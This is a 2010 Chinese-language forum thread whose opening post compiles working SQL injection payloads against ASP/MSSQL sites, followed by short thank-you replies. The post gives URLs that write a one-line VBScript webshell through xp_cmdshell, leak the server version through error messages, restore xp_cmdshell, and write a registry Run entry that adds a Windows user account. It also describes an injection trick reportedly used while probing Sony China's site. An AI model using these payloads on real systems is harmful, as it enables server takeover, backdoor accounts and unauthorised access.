最详细的SQL注入相关的命令整理

社区服务
高级搜索
猴岛论坛电脑百科最详细的SQL注入相关的命令整理
发帖 回复
倒序阅读 最近浏览的帖子最近浏览的版块
3个回复

最详细的SQL注入相关的命令整理

楼层直达
不懂也不知道

ZxID:10586231

等级: 禁止发言

举报 只看楼主 使用道具 楼主   发表于: 2010-07-06 0
最详细的SQL注入相关的命令整理
1、 用^转义字符来写ASP(一句话木马)文件的方法:

    ? http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--

    ? echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp

    2、 显示SQL系统版本:

    ? http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION)

    ? http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)--

    Microsoft VBScript 编译器错误 错误 '800a03f6'

    缺少 'End'

    /iisHelp/common/500-100.asp,行242

    Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'

    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.

    /display.asp,行17

    3、在检测索尼中国的网站漏洞时,分明已经确定了漏洞存在却无法在这三种漏洞中找到对应的类型。偶然间我想到了在SQL语言中可以使用"in"关键字进行查询,例如"select * from mytable where id in(1)",括号中的值就是我们提交的数据,它的结果与使用"select * from mytable where id=1"的查询结果完全相同。所以访问页面的时候在URL后面加上") and 1=1 and 1 in(1"后原来的SQL语句就变成了"select * from mytable where id in(1) and 1=1 and 1 in(1)",这样就会出现期待已久的页面了。暂且就叫这种类型的漏洞为"包含数字型"吧,聪明的你一定想到了还有"包含字符型"呢。对了,它就是由于类似"select * from mytable where name in('firstsee')"的查询语句造成的。

    4、 判断xp_cmdshell扩展存储过程是否存在:

    http://192.168.1.5/display.asp?keyno=188 and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')

    恢复xp_cmdshell扩展存储的命令:

    http://www.test.com/news/show1.asp?NewsId=125272

    ;exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';--

    5、 向启动组中写入命令行和执行程序:

    http://192.168.1.5/display.asp?keyno=188;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add'


本帖de评分: 1 条评分 DB +6
DB+6

电脑板块欢迎你

╱╳灬小熊ゞ

ZxID:9189876

等级: 大将

举报 只看该作者 沙发   发表于: 2010-07-06 0
感谢分享


ㄣ若幹年後℡

ZxID:11138743

等级: 元帅
   还是这个头像好点
举报 只看该作者 板凳   发表于: 2010-07-06 0
不错非常的详细

这一下打的好爽。
ㄣ若幹年後℡

ZxID:11138743

等级: 元帅
   还是这个头像好点
举报 只看该作者 地板   发表于: 2010-07-06 0
LZ加油那

这一下打的好爽。
« 返回列表
发帖 回复